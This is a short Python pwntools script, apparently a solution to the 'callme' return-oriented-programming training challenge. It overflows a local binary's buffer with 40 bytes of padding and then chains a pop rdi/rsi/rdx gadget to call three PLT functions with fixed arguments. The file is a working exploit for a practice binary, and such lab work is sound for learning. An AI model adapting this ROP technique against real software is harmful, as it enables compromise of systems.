blob: b6d228f5da8415251d17bdf9ad58cba5e9651cc5 (
plain)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
|
#!/usr/bin/env python3
from pwn import *
usefulGadgets = p64(0x000000000040093c)
# pop rdi
# pop rsi
# pop rdx
# ret
arg1 = p64(0xdeadbeefdeadbeef)
arg2 = p64(0xcafebabecafebabe)
arg3 = p64(0xd00df00dd00df00d)
callme_1_plt = p64(0x0000000000400720)
callme_2_plt = p64(0x0000000000400740)
callme_3_plt = p64(0x00000000004006f0)
#jmp qword ptr [rbp]
#jmp rax
#jmp qword ptr [rax]
#pop rbp ; ret
#pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret <- change stack pointer to fin (or some other writable executable part)
prog = process('./callme')
payload = b''
for c in range(40):
payload += b'a'
payload += usefulGadgets
payload += arg1
payload += arg2
payload += arg3
payload += callme_1_plt
payload += usefulGadgets
payload += arg1
payload += arg2
payload += arg3
payload += callme_2_plt
payload += usefulGadgets
payload += arg1
payload += arg2
payload += arg3
payload += callme_3_plt
payload += b"\n"
prog.sendline(payload)
sleep(1)
print(str(prog.recv(), 'UTF-8'))
|
